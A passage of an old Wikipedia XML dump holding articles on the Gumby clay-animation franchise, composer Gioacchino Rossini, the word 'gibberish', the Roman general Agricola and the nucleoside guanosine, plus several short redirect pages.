Created by [[Art Clokey]], Gumby had its genesis in a 1955 theatrical short called &quot;Gumbasia&quot;, which featured similar claymation characters.  Gumby himself first appeared on the [[Howdy Doody]] show in [[1956]] and was given his own [[NBC]] series in [[1957]].  Female voice actors originally supplied the voice of the title character during the initial episodes.  Newly produced episodes were added in [[1962]] (by which time [[Dallas McKinnon]] became the voice of Gumby), and [[1966]]-[[1967|67]].  Besides Pokey (voiced by creator Clokey) and his dog Nopey, Gumby's pals included Prickle (a yellow dinosaur), and Goo (a blue thumb-type mermaid blob who could fly).

The opening of The Gumby Show featured a song with the following lyrics:
&lt;blockquote&gt;
''Gumby! &lt;br&gt;
''He was once a little green slab of clay. Gumby!&lt;br&gt; 
''You should see what Gumby can do today. Gumby! &lt;br&gt;
''He can walk into any book, with his pony pal Pokey, too. &lt;br&gt;
''If you've got a heart then Gumby's a part of you. 
&lt;/blockquote&gt;
The series went dormant for years, but during all of this time Gumby had developed an audience interested in classic television animation.  Soon, the marketing of Gumby had exploded, as it became the most popular flexible toy on the market, and later appearing in many forms, from cups to ice cream bars.

==The Lorimar years==
By the 1980s, the original Gumby shorts had enjoyed a revival, both on television and home video.  This led to a new incarnation of the series for television syndication by [[Lorimar]]/[[Telepictures]] in [[1988]].  Actor Charles Farrington assumed the voice of Gumby in new adventures that would take Gumby and his pals beyond their toyland-type setting and establish themselves as a rock band.

The modern Gumby adventures featured new characters such as Gumby's sister, [[Minga (Gumby character)|Minga]], and [[Denali (Gumby character)|Denali]] the [[mastodon]].

In addition to the new episodes, the classic 1950s and 1960s shorts were rerun as part of the series, but with newly recorded soundtracks (including new voices and musical scores).

Art Clokey is famed for giving many movie industry talent their first break in the business. A number of the clay animators who worked on the new series went on to work for Pixar, Disney and other studios.

==The movie and beyond==
[[Image:Gumbygame.jpg|frame|right|Image from '''Gumby vs. the Astrobots''']]
In 1995, Clokey's production company produced an independently released theatrical film, '''''Gumby I''''' (aka '''Gumby: The Movie'''), marking the clay character's first feature-length adventure.  In it, the villainous Blockheads attempt to replace the entire community of Clokeytown, Gumbasia with lookalike robots.  The movie featured in-joke homages to such sci-fi classics as ''[[Star Wars Episode IV: A New Hope|Star Wars]]'', ''[[The Terminator]]'', and ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]''. In 1995, [[Nickelodeon (TV channel)|Nickelodeon]] aired reruns of Gumby episodes.

By the end of the decade, Gumby and Pokey had appeared in commercials for [[Cheerios]] cereal.

The Gumby images and toys are registered trademarks of [[Prema Toy company]]. The [[Library of Congress]] had Gumby as a spokescharacter from [[1994]] to [[1995]], due to a common sequence in his shows where Gumby walks into a book, and then experiences the world inside the book as a tangible place.

Although no new Gumby material is planned for the foreseeable future, all episodes of the two series are available on home video and [[DVD]].

In [[August]] [[2005]] the first [[Computer and video games|video game]] featuring Gumby, '''Gumby vs. the Astrobots''', was released by [[Namco]] for the [[Game Boy Advance]].  In it, Gumby must rescue Pokey, Prickle and Goo after they are captured by the Blockheads and their cohorts, the Astrobots.

In San Francisco, Studio Z held Gumby's 50th Birthday Party with Gumby's Creator, Art Clokey. The band Smash Mouth played at the party, hosted by comedian Kevin Meaney. The party/comedy tribute was written by Sponge Bob Square Pants writer Martin Olsen and Gumby's Creative Director Fred Thompson.  It was produced by Missing Link Media Ventures and Clokey Productions, celebrating 50 years of Gumby.

==Parodies==
[[Image:Murphy_gumby2.jpg|frame|right|'''[[Eddie Murphy]] as Gumby and [[Joe Piscopo]] as Pokey''']]
[[Eddie Murphy]] played a [[parody]] of Gumby in occasional [[sketch comedy|sketches]] on [[Saturday Night Live]].  The first appearance of Murphy's Gumby aired during the show's eighth season on December 11, 1982 in a sketch titled &quot;Merry Christmas, Dammit!&quot;  Wearing a foam costume, Murphy's Gumby was played as an older [[borscht belt]] comedian who smoked a [[cigar]] and depicted an arrogant celebrity indignant at his waning fame.  As a sign of his frustration, Murphy's character was frequently heard to exclaim &quot;''I'm Gumby, dammit!''&quot; when he felt disrespected by show business people.

There is a version of the character in Pakistan referred to as Mohammed Al-Gumby, meant to make light of cultural tension but also seen as controversial.

Gumby is also a frequent target of satire on [[Madtv|Mad TV]].

A Gumby sketch (&quot;Robot Rumpus&quot;) was featured on an episode of ''[[Mystery Science Theater 3000]]'' (''The Screaming Skull''), and was parodied in one of that episode's host segments, with [[Crow T. Robot]] and [[Tom Servo]] creating their own version of Gumby, decrying Gumby and Pokey's &quot;mistreatment&quot; (in their eyes) of the robots in the sketch.

In 2005 a [[Simpsons couch gag]] was made featuring the Simpson family made out of clay and appearing on the couch next to Gumby, in the Season 17 episodes ''[[The Girl Who Slept Too Little]]'' and ''[[My Fair Laddy]]''.

==Other Media==
Gumby has also been featured in other media, including a ''Gumby’s Summer Fun Special'' &amp; a ''Gumby’s Winter Fun Special'' published by [[Comico]] in 1987 and 1988.  The Summer Fun Special by [[Bob Burden]] and [[Art Adams]] won the [[Eisner Award]] for Best Single Issue/Single Story for 1988.

==Random Information==
In the 1990s employees of The Met (the government run public transport corporation in [[Melbourne]]) were referred to as Gumbies due to the colour of their uniforms and the Gumby television show being in the public's mind due to Australian reruns.

==External links==
*[http://www.gumbyworld.com/ Gumbyworld.com]
*[http://www.premavision.com Premavision/Clokey Productions]

[[Category:1960s TV shows in the United States]]
[[Category:1980s TV shows in the United States]]
[[Category:Australian Broadcasting Corporation shows]]
[[Category:Children's television series]]
[[Category:Disney Channel shows]]
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  <page>
    <title>Gioacchino Rossini</title>
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'''Gioacchino Antonio Rossini''' ([[February 29]], [[1792]] &amp;ndash; [[November 13]], [[1868]]) was an [[Italy|Italian]] musical composer who wrote more than 30 [[opera]]s as well as sacred music and chamber music.  His best known works include ''Il barbiere di Siviglia'' (''[[The Barber of Seville]]''), and &quot;Guillaume Tell&quot; ''[[William Tell (opera)|William Tell]]'' (the end of the [[overture]] is popularly known for being the theme song for ''[[The Lone Ranger]]'').

== Biography ==

Rossini was born into a family of musicians in [[Pesaro]], a small town on the [[Adriatic Sea|Adriatic]] coast of [[Italy]].  His father Giuseppe was a horn player and inspector of slaughterhouses, his mother Anna a singer and baker's daughter.  Rossini's parents began his musical training early, and by the age of six he was playing the triangle in his father's band.

Rossini's father was sympathetic to the French, and welcomed [[Napoleon I of France|Napoleon]]'s troops when they arrived in Northern Italy.  This became a problem when in [[1796]], the [[Austria]]ns restored the old regime.  Rossini's father was sent to prison, and his wife took Gioacchino to [[Bologna]], earning her living as lead singer at various theatres of the [[Romagna]] region, where she was ultimately joined by her husband.  During this time, Gioacchino was frequently left in the care of his aging grandmother, who was unable to effectively control the boy.

Gioacchino remained at Bologna in the care of a pork butcher, while his father played the horn in the bands of the theatres at which his mother sang.  The boy had three years instruction in the harpsichord from Prinetti of [[Novara]], but Prinetti played the scale with two fingers only, combined his profession of a musician with the business of selling liquor, and fell asleep while he stood, so that he was a fit subject for ridicule by his critical pupil. 

Gioacchino was taken from Prinetti and apprenticed to a smith.  In Angelo Tesei he found a congenial master, and learned to sight-read, to play accompaniments on the [[pianoforte]], and to sing well enough to take solo parts in the church when he was ten years of age.  At thirteen he appeared at the theatre of the Commune in Paër’s ''Camilla'' &amp;mdash; his only public appearance as a singer ([[1805]]).  He was also a capable horn player in the footsteps of his father. 

In [[1807]] the young Rossini was admitted to the counterpoint class of Padre P. S. Mattei, and soon after to that of Cavedagni for the cello at the [[Conservatorio]] of Bologna.  He learned to play the cello with ease, but the pedantic severity of Mattei's views on counterpoint only served to drive the young composer's views toward a freer school of composition.  His insight into orchestral resources is generally ascribed not to the strict compositional rules he learned from Mattei, but to knowledge gained independently while scoring the quartets and symphonies of [[Joseph Haydn|Haydn]] and [[Wolfgang Amadeus Mozart|Mozart]].  At Bologna he was known as &quot;il Tedeschino&quot; on account of his devotion to Mozart. 

Through the friendly interposition of the Marquis Cavalli, his first opera, ''La Cambiale di Matrimonio'', was produced at Venice when he was a youth of eighteen. But two years before this he had already received the prize at the Conservatorio of Bologna for his cantata ''Il pianto d'Armonia sulla morte d’Orfeo''.  Between [[1810]] and [[1813]], at Bologna, [[Rome]], [[Venice]] and [[Milan]], Rossini produced operas of varying success.  All memory of these works is eclipsed by the enormous success of his opera [[Tancredi]].

The [[libretto]] was an arrangement of [[Voltaire]]’s tragedy by A. Rossi.  Traces of Paër and [[Giovanni Paisiello|Paisiello]] were undeniably present in fragments of the music.  But any critical feeling on the part of the public was drowned by appreciation of such melodies as &quot;Mi rivedrai, ti rivèdrô&quot; and &quot;Di tanti palpiti,&quot; the former of which became so popular that the Italians would sing it in crowds at the law courts until called upon by the judge to desist. 

Rossini continued to write operas for [[Venice]] and [[Milan]] during the next few years, but their reception was tame and in some cases unsatisfactory after the success of ''Tancredi.''  In [[1815]] he retired to his home at Bologna, where Barbaja, the impresario of the [[Naples]] theatre, concluded an agreement with him by which he was to take the musical direction of the [[Teatro San Carlo]] and the [[Teatro Del Fondo]] at Naples, composing for each of them one opera a year.  His payment was to be 200 ducats per month; he was also to receive a share of Barbaja's other business, popular gaming-tables, amounting to about 1000 ducats per annum. 

Some older composers in Naples, notably [[Nicolo Antonio Zingarelli|Zingarelli]] and [[Giovanni Paisiello|Paisiello]], were inclined to intrigue against the success of the youthful composer; but all hostility was made futile by the enthusiasm which greeted the court performance of his ''[[Elisabetta regina d'Inghilterra]]'', in which Isabella Colbran, who subsequently became the composer’s wife, took a leading part.  The libretto of this opera by Schmidt was in many of its incidents an anticipation of those presented to the world a few years later in Sir [[Walter Scott]]’s ''[[Kenilworth (novel)|Kenilworth]]''.  The opera was the first in which Rossini wrote the ornaments of the airs instead of leaving them to the fancy of the singers, and also the first in which the recitativo secco was replaced by a recitative accompanied by a string quartet. 

In ''[[Il barbiere di Siviglia]]'', produced in the beginning of the next year in Rome, the libretto, a version of Beaumarchais' ''Barbier de Seville'' by Sterbini, was the same as that already used by [[Giovanni Paisiello]] in his own ''Barbiere'', an opera which had enjoyed European popularity for more than a quarter of a century.  Paisiello’s admirers were extremely indignant when the opera was produced, but the opera was so successful that the fame of Paisiello's opera was transferred to his, to which the title of ''Il barbiere di Siviglia'' passed as an inalienable heritage. 

Between [[1815]] and [[1823]] Rossini produced twenty operas.  Of these ''[[Otello (Rossini)|Otello]]'' formed the climax to his reform of serious opera, and offers a suggestive contrast with the treatment of the same subject at a similar point of artistic development by the composer [[Giuseppe Verdi]].  In Rossini’s time the tragic close was so distasteful to the public of Rome that it was necessary to invent a happy conclusion to ''Otello''.

[[Image:Gioacchino A Rossini.jpg|right|thumb|Gioacchino A. Rossini]]

Conditions of stage production in [[1817]] are illustrated by Rossini’s acceptance of the subject of [[Cinderella]] for a [[libretto]] only on the condition that the supernatural element should be omitted.  The opera ''[[La Cenerentola]]'' was as successful as Barbiere.  The absence of a similar precaution in the construction of his ''[[Mosè in Egitto]]'' led to disaster in the scene depicting the passage of the Israelites through the [[Red Sea]], when the defects in stage contrivance always raised a laugh, so that the composer was at length compelled to introduce the chorus &quot;Dal tuo stellato Soglio&quot; to divert attention from the dividing waves. 

In [[1822]], four years after the production of this work, Rossini married singer [[Isabella Colbran]].  In the same year, he directed his ''Cenerentola'' in [[Vienna]], where ''[[Zelmira]]'' was also performed. After this he returned to Bologna; but an invitation from [[Prince Metternich]] to come to [[Verona, Italy|Verona]] and &quot;assist in the general re-establishment of harmony&quot; was too tempting to be refused, and he arrived at the Congress in time for its opening on [[October 20]], [[1822]].  Here he made friends with [[Chateaubriand]] and [[Madame de Lieven]]. 

In 1823, at the suggestion of the manager of the King’s Theatre, [[London]], he came to [[England]], being much fêted on his way through [[Paris]].  In England he was given a generous welcome, which included an introduction to King [[George IV of the United Kingdom|George IV]] and the receipt of £7000 after a residence of five months.  In [[1824]] he became musical director of the Théatre Italien in Paris at a salary of £800 per annum, and when the agreement came to an end he was rewarded with the offices of chief composer to the king and inspector-general of singing in France, to which was attached the same income. 

The production of his [[Guillaume Tell]] in [[1829]] brought his career as a writer of opera to a close.  The libretto was by [[Victor Joseph Etienne de Jouy|Etienne Jouy]] and [[Hippolyte Bis]], but their version was revised by [[Armand Marrast]].  The music is remarkable for its freedom from the conventions discovered and utilized by Rossini in his earlier works, and marks a transitional stage in the history of opera. 

In [[1829]] he returned to [[Bologna]].  His mother had died in [[1827]], and he was anxious to be with his father.  Arrangements for his subsequent return to Paris on a new agreement were upset by the abdication of [[Charles X of France|Charles X]] and the July Revolution of 1830.  Rossini, who had been considering the subject of [[Faust]] for a new opera, returned, however, to Paris in the November of that year. 

Six movements of his ''[[Stabat Mater]]'' were written in [[1832]] and the rest in [[1839]], the year of his father's death.  The success of the work bears comparison with his achievements in opera; but his comparative silence during the period from 1832 to his death in [[1868]] makes his biography appear almost like the narrative of two lives &amp;mdash; the life of swift triumph, and the long life of seclusion, of which biographers give us pictures in stories of the composer's cynical wit, his speculations in fish culture, his mask of humility and indifference. 

His first wife died in [[1845]], and political disturbances in the Romagna area compelled him to leave Bologna in 1847, the year of his second marriage with [[Olympe Pelissier]], who had sat for [[Horace Vernet|Vernet]] for his picture of &quot;Judith and Holofernes.&quot;  After living for a time in [[Florence]] he settled in [[Paris]] in [[1855]], where his house was a centre of artistic society.  He died at his country house at [[Passy]] on [[November 13]], [[1868]] and was buried in [[Père Lachaise]] Cemetery, Paris, France. In 1887 his remains were moved to the church of [[Santa Croce]] in [[Florence]], where they now rest.

He was a foreign associate of the Institute, grand officer of the [[Légion d’honneur|Legion of Honour]], and the recipient of innumerable orders. 

In his compositions Rossini plagiarized even more freely from himself than from other musicians, and few of his operas are without such admixtures frankly introduced in the form of arias or overtures. 

A characteristic mannerism in his musical writing earned for him the nickname of &quot;Monsieur Crescendo.&quot; 

Rossini is also well known for some personal qualities, which gave origin to several anecdotes. For example, he was supposed to have composed his best known opera, &quot;Barbiere&quot;, in a very short time, because as usual he was late in respecting the delivery date. Some say he did it in seven days; others, like [[Lodovico Settimo Silvestri]], suggest in fourteen. Whatever the precise length, it was in any case very little time for such masterpieces. He worked in his bedroom, wearing his dressing-gown. A friend pointed out that it was undoubtedly funny that he had composed the &quot;Barber&quot; without shaving himself for such a long time. Rossini promptly replied that if he had to get shaved, he would have had to get out of his house, and he therefore would never had completed his opera.

Another story of Rossini composing in the comfort of his bed: One day an impresario went visiting him and found him writing music in his bed. Rossini, without even looking at him, begged him to collect a sheet that had fallen from the bed to the floor. When the impresario picked it, Rossini gave him the other sheet he was writing and asked him: &quot;Which one do you think is the better?&quot; &quot;But... they are completely alike...&quot; said the embarrassed impresario. &quot;Well... you know... it was easier for me to write another one than to get off the bed and search and pick the first one and then come back to bed...&quot; 

Rossini himself was very happy to describe his virtues: here is what he told about his way of composing overtures: 

:Wait until the evening before opening night.  Nothing primes inspiration more than necessity, whether it be the presence of a copyist waiting for your work or the prodding of an impresario tearing his hair. In my time, all the impresarios of Italy were bald at 30. . . .

: I wrote the overture of Otello in a small room of the Palazzo Barbaja, where the baldest and rudest of directors had shut me in.

: I wrote the overture of the Gazza Ladra the day before the opening night under the roof of the Scala Theatre, where I had been imprisoned by the director and secured by four stagehands.

: For the Barbiere, I did better: I did not even compose an overture, I just took one already destined for an opera called Elisabetta. Public was very pleased. 

His music is associated with the names of the greatest singers in lyrical drama, such as Tamburini, Mario, Rubini, Delle Sedie, Albani, Grisi, Patti and [[Christina Nilsson]]. [[Marietta Alboni]] was one of his pupils.

Shortly after Rossini's death, [[Giuseppe Verdi]] suggested that all Italian musicians should assemble a [[Requiem]] in honor of the master opera composer and conductor and began the effort by submitting the &quot;Libera me.&quot; Until the next year a Requiem for Rossini was compiled; however, this work was never performed at Verdi's lifetime. [[Helmuth Rilling]] premiered the complete ''[[Messa per Rossini]]'' [[1988]] in [[Stuttgart]].

==Works of Gioacchino Rossini==

===Opera===
*''La cambiale di matrimonio'' - 1810
*''L'equivoco stravagante'' - 1811
*''Demetrio e Polibio'' - 1812
*''L'inganno felice'' - 1812
*''Ciro in Babilonia'' (or ''La caduta di Baldassare'') - 1812
*''[[La scala di seta]]'' - 1812
*''[[La pietra del paragone]]'' - 1812
*''[[L'occasione fa il ladro]]'' (or ''Il cambio della valigia'') - 1812
*''[[Il Signor Bruschino]]'' (or ''Il figlio per azzardo'') - 1813
*''[[Tancredi]]'' - 1813
*''[[L'italiana in Algeri]]'' - 1813
*''[[Aureliano in Palmira]]'' - 1813 
*''[[Il turco in Italia]]'' - 1814
*''[[Sigismondo]]'' - 1814 
*''[[Elisabetta, regina d'Inghilterra]]'' - 1815
*''[[Torvaldo e Dorliska]]'' - 1815
*''[[Almaviva]]'' (or ''L'inutile precauzione'' or ''Il barbiere di Siviglia'' (''[[The Barber of Seville]]'')) - 1816
*''[[La gazzetta]]'' (or ''Il matrimonio per concorso'') - 1816
*''[[Otello (Rossini)|Otello]]'' (or ''Il moro di Venezia'') - 1816
*''[[La Cenerentola]]'' (''Cinderella'', or ''La bontà in trionfo'') - 1817
*''[[La gazza ladra]]'' (or ''The Thieving Magpie'') - 1817
*''[[Armida (Rossini)|Armida]]'' - 1817
*''[[Adelaide di Borgogna]]'' or ''Ottone, re d'Italia'' - 1817
*''[[Mosè in Egitto]]'' - 1818
*''[[Adina (Rossini)|Adina]]'' or ''Il califfo di Bagdad'' - 1818
*''[[Ricciardo e Zoraide]]'' - 1818
*''[[Ermione]]'' - 1819
*''[[Eduardo e Cristina]]'' - 1819 
*''[[La donna del lago]]'' - 1819 
*''[[Bianca e Falliero]]'' (or ''Il consiglio dei tre'') - 1819
*''[[Maometto secondo]]'' - 1820 
*''[[Matilde Shabran]]'' (''Matilde di Shabran'', or ''Bellezza e Cuor di Ferro'') - 1821 
*''[[Zelmira]]'' - 1822 
*''[[Semiramide]]'' -  1823 
*''[[Il viaggio a Reims]]'' (or ''L'albergo del giglio d'oro'') -  1825
*''[[La siège de Corinthe]]'' - 1826 (a revision of ''Maometto secondo'')
*''[[Moïse et Pharaon]]'' (or ''Le passage de la Mer Rouge'') - 1827 (a revision of ''Mosè in Egitto'')
*''[[Le Comte Ory]]''  - 1828 
*''[[William Tell (opera)|Guillaume Tell]]'' (''William Tell'') - 1829

===Other works===
*''Il pianto d'Armonia sulla morte d’Orfeo''
*''Petite Messe Solennelle''
*''[[Stabat Mater]]''
*''[[Cats Duet]]'' (attr.)
*''[[Bassoon concerto]]''
*''[[Messa di Gloria]]''
*''[[Giovanna D'arco]]'' -1832 (cantata)
*''Péchés de vieillesse'' [http://www.rossinigesellschaft.de/data/pdvd.html List and text of the songs on the website of the ''German Rossini Society'']

==Media==
{{multi-listen start}}
{{multi-listen item|filename=William Tell2.ogg|title=William Tell Overture|description=Sodero's band performs part 2 of the overture in 1914|format=[[Ogg]]}}
{{multi-listen end}}

==External links==
*[http://cylinders.library.ucsb.edu/search.php?query=Rossini%2C+Gioacchino&amp;queryType=%40attr+1%3D1 Rossini cylinder recordings], from the [[Cylinder Preservation and Digitization Project]] at the [[University of California, Santa Barbara]] Library.
* [http://www.classiccat.net/rossini_g/ The Rossini page at Classic Cat - the free classical music directory]
* {{IckingArchive|idx=Rossini|name=Gioacchino Rossini}}

{{commons|Gioacchino Rossini}}

[[Category:Leap day births|Rossini, Gioacchino]]
[[Category:1792 births|Rossini, Gioacchino]]
[[Category:1868 deaths|Rossini, Gioacchino]]
[[Category:Italian composers|Rossini, Gioacchino]]
[[Category:Natives of Pesaro|Rossini, Gioacchino]]
[[Category:Opera composers|Rossini, Gioacchino]]
[[Category:Romantic composers|Rossini, Gioacchino]]
[[Category:Anti-Wagnerites|Rossini, Gioacchino]]
[[Category:Romanticism]]

[[ar:جييواتشينو روسيني]]
[[da:Gioacchino Rossini]]
[[de:Gioacchino Rossini]]
[[es:Gioacchino Rossini]]
[[eo:Gioacchino ROSSINI]]
[[fr:Gioacchino Rossini]]
[[hr:Gioacchino Rossini]]
[[it:Gioacchino Rossini]]
[[he:ג'ואקינו רוסיני]]
[[nl:Gioacchino Rossini]]
[[ja:ジョアッキーノ・アントニオ・ロッシーニ]]
[[no:Gioacchino Rossini]]
[[pl:Gioacchino Rossini]]
[[pt:Gioacchino Rossini]]
[[ru:Россини, Джоаккино Антонио]]
[[sl:Gioacchino Antonio Rossini]]
[[fi:Gioacchino Rossini]]
[[sv:Gioacchino Rossini]]
[[tr:Gioacchino Rossini]]
[[zh:吉奥阿基诺·罗西尼]]</text>
    </revision>
  </page>
  <page>
    <title>Gibberish</title>
    <id>12407</id>
    <revision>
      <id>41502955</id>
      <timestamp>2006-02-27T20:25:58Z</timestamp>
      <contributor>
        <ip>71.56.233.64</ip>
      </contributor>
      <comment>Added the ASDF internal link</comment>
      <text xml:space="preserve">'''Gibberish''' is a [[generic]] term in [[English language|English]] for talking that sounds like [[speech]] but has no actual meaning (like &quot;the mave's rint is slanphed up&quot;). This meaning has also been extended to meaningless text (such as &quot;ichiuseekskerasff&quot;).

== Gibberish language game ==
{{main|Gibberish (language game)}}

&quot;Gibberish&quot; is also used to refer to a group of similar [[Language game (linguistics)|language games]].  In general, these all work by adding a [[code]] [[syllable]] after the [[Syllable onset|onset]].  For example, in [[Ubbi dubbi|Ubbi Dubbi]], the code syllable is ''-ub-'', and &quot;How are you?&quot; would be said as ''Hubow ubare yubou?'' Such language games in the Gibberish family are not unique to English-speaking countries, for example there is one spoken in [[Sweden]] called Allspråket and one in [[Germany]] called Lef-Sprache. Another version of it is used in Hungary, called &quot;Madárnyelv (Bird's language), and adds &quot;Vv&quot; or &quot;Vrg&quot; before the syllables, where &quot;V&quot; is the vowel of the syllable. In the United Kingdom, gibberish follows a similar pattern to most, but is ultimately different. For example &quot;How are you?&quot; would be said as &quot;Haragow aragar yoragou?&quot;

==Origin of the term==

There are a couple of possible theories of origin for the term &quot;gibberish&quot;. One says that the basis is in the old [[word]] &quot;gibber&quot; which is allied to &quot;jabber&quot;. However, &quot;gibberish&quot; was in use before the word &quot;gibber&quot;, therefore making this a dubious theory. A better explanation says the word comes from [[Geber]], the name of an [[Arab]]ian [[alchemy|alchemist]] in the [[11th century]]. He invented a strange [[terminology]] so that his works could not be understood by others; more importantly, he could not be accused of [[heresy]], which was punishable by death. &quot;Gibberish&quot; in its modern sense was certainly used by [[1811]].

Despite the intelligent purpose behind the creation of the term, &quot;gibberish&quot; today is used as a derogatory term to suggest something has no merit (i.e. &quot;that's a lot of gibberish&quot;) rather than the (supposedly) more accurate use, which would be akin to &quot;that sounds like a lot of encrypted information,&quot; which nobody says. Common usage dictates that gibberish means unintelligent, meaningless, uninformed, or worse, when in fact, the opposite is true. Often enough to be considered, the term happens usually to be aimed at [[politician]]s, [[public speaker]]s and &quot;[[pseudo-intellectual]]s&quot; (depending on the point of view).

==See also==
*[[Nonsense]]
*[[Gobbledygook]]
*[[Gibberish (language game)]]
*[[Jabberwocky]]
*[[Language game (linguistics)|Language game]]
*[[Pig Latin]]
*[[Simlish]]
*[[Asdf]]

==External links==
*[http://thinkzone.wlonk.com/Gibber/Gibber.htm Gibberish generator based on statistical distribution of characters of a text]
*[http://www.gibberish.nl Gibberish, a dutch band that fuses all sorts of musical styles]

[[Category:Language games]]
[[Category:Gibberish language]]
[[he:ג'יבריש]]</text>
    </revision>
  </page>
  <page>
    <title>Gnaeus Julius Agricola</title>
    <id>12408</id>
    <revision>
      <id>37946369</id>
      <timestamp>2006-02-03T03:19:44Z</timestamp>
      <contributor>
        <ip>220.239.42.10</ip>
      </contributor>
      <text xml:space="preserve">'''Gnaeus Julius Agricola''' ([[July 13]] [[40]] - [[August 23]], [[93]]) was a [[Roman Empire|Roman]] general responsible for much of the Roman conquest of [[Roman Britain|Britain]].

Agricola was born in [[Frejus|Forum Julii]], [[Gallia Narbonensis]] (modern southern France), as  the son of Julius Graecinus and his wife Julia Procilla. Agricola was married to [[Domitia Decidiana]], with whom he had a daughter [[Julia Agricola]] who married the historian [[Gaius Cornelius Tacitus|Tacitus]]. His son-in-law chronicled his career in a book entitled ''[[Agricola (book)|De vita et moribus Iulii Agricolae]]'' and was one of his great supporters.

His career started as a military tribune in Britain from [[58]] to [[62]], in the staff of governor [[Gaius Suetonius Paullinus]]. Returning to Rome, Agricola served as tribune of the plebs in [[66]], following with a [[praetor]]ship two years later. In [[69]] Agricola was appointed legate to the governor of Britain [[Quintus Petillius Cerialis]] and commander of the [[Legio XX Valeria Victrix|twentieth legion (''Valeria victrix'')]]. When Cerialis left the province, Agricola was appointed governor of the province of [[Gallia Aquitania]]. This promotion was accompanied by an elevation to the status of [[patrician]]. After some peaceful years in Gaul, Agricola was named [[consul|consul suffect]] in [[77]], and, in the following year, chosen as [[List of Roman governors of Britain|governor of Britain]]. As governor, he subdued [[Wales]] and northern England before invading [[Scotland]], where at the [[Battle of Mons Graupius]] he defeated the [[Caledonia]]ns, the last undefeated tribe in Scotland. During this time, his fleet circumnavigated Britain. After an extraordinarily long tenure in Britain, he was recalled to Rome in 85; Tacitus claims that Domitian ordered his recall because Agricola's successes outshone the Emperor's own modest victories in Germany. The relationship between Agricola and the Emperor is unclear: on the one hand, Agricola was awarded triumphal decorations and a statue (the highest military honors apart from an actual [[Roman triumph|triumph]]); on the other, Agricola never again held a civil or military post, in spite of his experience and renown. He was offered the governorship of the province of Africa, but declined it, whether due to ill health or (as Tacitus claims) the machinations of Domitian. He died in 93.

{{sequence|
prev=[[Sextus Julius Frontinus]]|
next=[[Sallustius Lucullus]]|
list=[[Roman governors of Britain]]|
}}

[[Category:40 births |Agricola Julius Gnaeus]]
[[Category:93 deaths |Agricola Julius Gnaeus]]
[[Category:Ancient Romans|Agricola Julius Gnaeus]]
[[Category:Roman governors of Britain|Agricola Julius Gnaeus]]
[[Category:Roman generals|Agricola Julius Gnaeus]]
[[Category:Romans in Britain|Agricola Julius Gnaeus]]

[[de:Gnaeus Iulius Agricola]]
[[es:Cneo Julio Agrícola]]
[[eo:Gnaeus Julius AGRICOLA]]
[[fr:Julius Agricola]]
[[la:Iulius Agricola]]
[[nl:Gnaius Julius Agricola]]
[[no:Gnaeus Julius Agricola]]
[[pl:Juliusz Agrykola]]
[[ru:Агрикола, Гней Юлий]]
[[sr:Гнеј Јулије Агрикола]]
[[fi:Gnaeus Julius Agricola]]
[[uk:Агрікола Гней Юлій]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files</title>
    <id>12409</id>
    <revision>
      <id>15910097</id>
      <timestamp>2004-04-07T22:01:54Z</timestamp>
      <contributor>
        <username>Michael Snow</username>
        <id>34289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[m:Historical Wikipedia pages]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files/Proposed GNU Moderation System</title>
    <id>12410</id>
    <revision>
      <id>15910098</id>
      <timestamp>2004-04-12T23:06:14Z</timestamp>
      <contributor>
        <username>Michael Snow</username>
        <id>34289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[m:Proposed GNU Moderation System]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files/GNU Encyclopedia Tech FAQ</title>
    <id>12411</id>
    <revision>
      <id>15910099</id>
      <timestamp>2004-04-14T22:21:03Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Moved to [[meta:GNU Encyclopedia Tech FAQ]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files/GNE Architecture</title>
    <id>12412</id>
    <revision>
      <id>15910100</id>
      <timestamp>2004-04-14T22:17:45Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Moved to [[meta:GNE Architecture]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files/Preliminary DTD</title>
    <id>12413</id>
    <revision>
      <id>15910101</id>
      <timestamp>2004-04-14T22:19:14Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Moved to [[meta:GNE Preliminary DTD]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files/GNE Project Design</title>
    <id>12414</id>
    <revision>
      <id>15910102</id>
      <timestamp>2004-04-12T23:03:11Z</timestamp>
      <contributor>
        <username>Michael Snow</username>
        <id>34289</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[m:GNE Project Design]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:GNE Project Files/Project Name</title>
    <id>12415</id>
    <revision>
      <id>15910103</id>
      <timestamp>2004-04-14T22:22:01Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Moved to [[meta:GNU Encyclopedia Project Name]]</text>
    </revision>
  </page>
  <page>
    <title>Guanosine</title>
    <id>12417</id>
    <revision>
      <id>40173976</id>
      <timestamp>2006-02-18T19:04:28Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">[[Image:Guanosine.jpg|frame|The chemical structure of Guanosine]]

'''Guanosine''' is a [[nucleoside]] comprising [[guanine]] attached to a [[ribose]] ([[ribofuranose]]) ring via a &amp;beta;-N&lt;sub&gt;9&lt;/sub&gt;-[[glycosidic bond]].

Guanosine can be phosphorylated to become GMP ([[guanosine_monophosphate|guanosine monophosphate]]), cGMP ([[Cyclic_guanosine_monophosphate|cyclic guanosine monophosphate]]), GDP ([[guanosine_diphosphate|guanosine diphosphate]]) and GTP ([[guanosine_triphosphate|guanosine triphosphate]]).

When [[guanine]] is attached to a [[deoxyribose]] ring, it is known as a [[deoxyguanosine]].

{{Nucleic acids}}

[[Category:Nucleosides]]

[[fr:Guanosine]]
